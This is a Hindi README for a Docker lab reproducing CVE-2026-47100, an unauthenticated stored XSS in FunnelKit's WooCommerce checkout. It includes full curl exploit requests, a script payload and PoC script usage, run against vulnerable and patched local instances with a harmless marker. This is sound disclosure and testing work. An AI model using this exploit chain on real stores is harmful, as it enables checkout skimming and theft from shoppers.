
स्थानीय Docker लैब, CVE-2026-47100 को पुनरुत्पादित करने के लिए, जो WooCommerce के लिए FunnelKit में एक अनधिकृत Stored XSS है। इसमें असुरक्षित और पैच किए गए संस्करणों की तुलना करने के लिए PoC स्क्रिप्ट शामिल हैं।
CVE-2026-47100 को सुरक्षित, न्यूनतम हानि वाले तरीके से पुनरुत्पादित करने के लिए स्थानीय Docker लैब। यह लैब एक असुरक्षित FunnelKit संस्करण की तुलना पैच किए गए संस्करण से करता है और एक हानिरहित JavaScript मार्कर/अलर्ट का उपयोग करके व्यवहार को सत्यापित करता है।
CVE-2026-47100, संस्करण 3.15.0.3 से पहले के Funnel Builder / FunnelKit for WooCommerce Checkout में एक लुप्त प्राधिकरण (missing authorization) भेद्यता है।
असुरक्षित चेकआउट AJAX प्रवाह एक अप्रमाणित आगंतुक को आंतरिक प्लगइन विधि लागू करने तथा FunnelKit की अंतर्निहित वैश्विक बाह्य स्क्रिप्ट सेटिंग में डेटा लिखने की अनुमति देता है। चूँकि वह सेटिंग बाद में FunnelKit चेकआउट पृष्ठों पर प्रस्तुत की जाती है, यह समस्या चेकआउट पृष्ठों पर अप्रमाणित संग्रहीत XSS बन सकती है।
यह रिपॉज़िटरी दो Docker सेवाओं का उपयोग करके समस्या को स्थानीय रूप से पुनरुत्पादित करती है:
| सेवा | संस्करण | URL | अपेक्षित परिणाम |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | असुरक्षित व्यवहार की पुष्टि हुई |
patched | 3.15.0.3 | http://127.0.0.1:8082 | लेखन अवरुद्ध / मार्कर प्रस्तुत नहीं |

Vulnx आउटपुट से प्रारंभिक CVE चयन। लैब और PoC को असुरक्षित और पैच किए गए व्यवहार की तुलना करके मैन्युअल रूप से बनाया गया था।
एक अप्रमाणित हमलावर सार्वजनिक चेकआउट AJAX प्रवाह का दुरुपयोग करके FunnelKit की वैश्विक बाह्य स्क्रिप्ट सेटिंग में JavaScript को स्थायी रूप से संग्रहीत (persist) कर सकता है।
वास्तविक WooCommerce स्टोर में, यह दुर्भावनापूर्ण JavaScript को चेकआउट पृष्ठ देखने वाले उपयोगकर्ताओं के ब्राउज़र में चलाने की अनुमति दे सकता है। सार्वजनिक रिपोर्टिंग ने इस भेद्यता वर्ग को चेकआउट स्किमिंग अभियानों से जोड़ा है।
यह लैब जानबूझकर केवल एक हानिरहित प्रमाण मार्कर का उपयोग करता है:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
असुरक्षित संस्करण सार्वजनिक WooCommerce AJAX एंडपॉइंट से उपयोगकर्ता-नियंत्रित चेकआउट डेटा स्वीकार करता है:
/?wc-ajax=update_order_review
FunnelKit चेकआउट प्रवाह के भीतर, अनुरोध में शामिल हो सकता है:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
असुरक्षित तर्क जाँचता है कि आपूर्ति की गई क्रिया (action) नाम किसी वर्ग विधि के रूप में मौजूद है या नहीं। यदि विधि मौजूद है, तो इसे सार्वजनिक चेकआउट प्रवाह से लागू किया जा सकता है।
सरलीकृत असुरक्षित व्यवहार:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
महत्वपूर्ण हमलावर-नियंत्रित क्रिया है:
update_global_settings_fields
वह विधि WordPress विकल्प को अद्यतन करती है:
_wfacp_global_settings
और विशेष रूप से अंतर्निहित FunnelKit कुंजी:
wfacp_global_external_script
संग्रहीत मान बाद में चेकआउट टेम्पलेट द्वारा पढ़ा जाता है और चेकआउट पृष्ठ पर प्रस्तुत किया जाता है। यह संग्रहीत XSS स्थिति उत्पन्न करता है।
शोषण श्रृंखला:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
संस्करण 3.15.0.3 दो महत्वपूर्ण परिवर्तनों के साथ असुरक्षित पथ को सख्त करता है।
पैच किया गया संस्करण सीमित करता है कि सार्वजनिक चेकआउट प्रवाह से कौन-सी चेकआउट क्रियाएँ लागू की जा सकती हैं।
सरलीकृत पैच किया गया व्यवहार:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
यह update_global_settings_fields जैसी मनमानी आंतरिक विधियों को अप्रमाणित चेकआउट अनुरोधों द्वारा प्रेषित होने से रोकता है।
पैच किया गया संस्करण वैश्विक सेटिंग्स को अद्यतन करने से पहले एक प्राधिकरण जाँच भी जोड़ता है:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
इसका अर्थ है कि वैश्विक बाह्य स्क्रिप्ट सेटिंग केवल WooCommerce प्रबंधन विशेषाधिकार वाले उपयोगकर्ताओं द्वारा ही लिखने योग्य होनी चाहिए।
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
सीड प्रक्रिया निम्न निर्मित करती है:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
लैब एक निर्धारणात्मक (deterministic) चेकआउट URL का उपयोग करता है:
/?post_type=wfacp_checkout&p=11
यह स्थानीय Docker लैब में FunnelKit चेकआउट कस्टम पोस्ट को स्पष्ट रूप से लोड करता है।
लैब प्रारंभ करें:
docker compose up -d --build
सेवाओं की जाँच करें:
docker compose ps
अपेक्षित सेवाएँ:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Python निर्भरताएँ स्थापित करें:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py निर्धारणात्मक लैब PoC है।
यह स्थानीय Docker सीड मानों को मान लेता है:
product_id = 10
checkout_post_id = 11
असुरक्षित सेवा के विरुद्ध चलाएँ:
python3 poc/poc_lab.py http://127.0.0.1:8081
अपेक्षित परिणाम:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
पैच की गई सेवा के विरुद्ध चलाएँ:
python3 poc/poc_lab.py http://127.0.0.1:8082
अपेक्षित परिणाम:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py एक अधिक पोर्टेबल अधिकृत स्व-परीक्षण उपकरण है।
केवल निष्क्रिय जाँच:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
सक्रिय अधिकृत जाँच:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
अलर्ट के बिना केवल-मार्कर मोड:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
सफाई (cleanup) प्रयास:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
एक नया WooCommerce सत्र बनाएँ और लैब उत्पाद को कार्ट में जोड़ें:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
FunnelKit चेकआउट पृष्ठ प्राप्त करें और WooCommerce चेकआउट nonce निकालें:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
निर्मित चेकआउट AJAX अनुरोध भेजें:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
सत्यापित करें कि विकल्प लिखा गया था:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
अपेक्षित परिणाम:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
सत्यापित करें कि मार्कर प्रस्तुत किया गया है:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
हानिरहित अलर्ट देखने के लिए ब्राउज़र में खोलें:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
पोर्ट 8082 के विरुद्ध वही प्रवाह दोहराएँ:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
सत्यापित करें कि विकल्प अपरिवर्तित रहता है:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
अपेक्षित परिणाम:
[]
सत्यापित करें कि मार्कर प्रस्तुत नहीं किया गया है:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
अपेक्षित परिणाम: कोई आउटपुट नहीं।
असुरक्षित सेवा समस्या की पुष्टि तब करती है जब निम्नलिखित सभी सत्य हों:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
पैच की गई सेवा सुधार की पुष्टि तब करती है जब:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
यह रिपॉज़िटरी केवल स्थानीय, अधिकृत सुरक्षा अनुसंधान के लिए है।
अनुमत दायरा:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
अनुमति नहीं:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
PoC केवल एक हानिरहित अलर्ट और मार्कर का उपयोग करता है।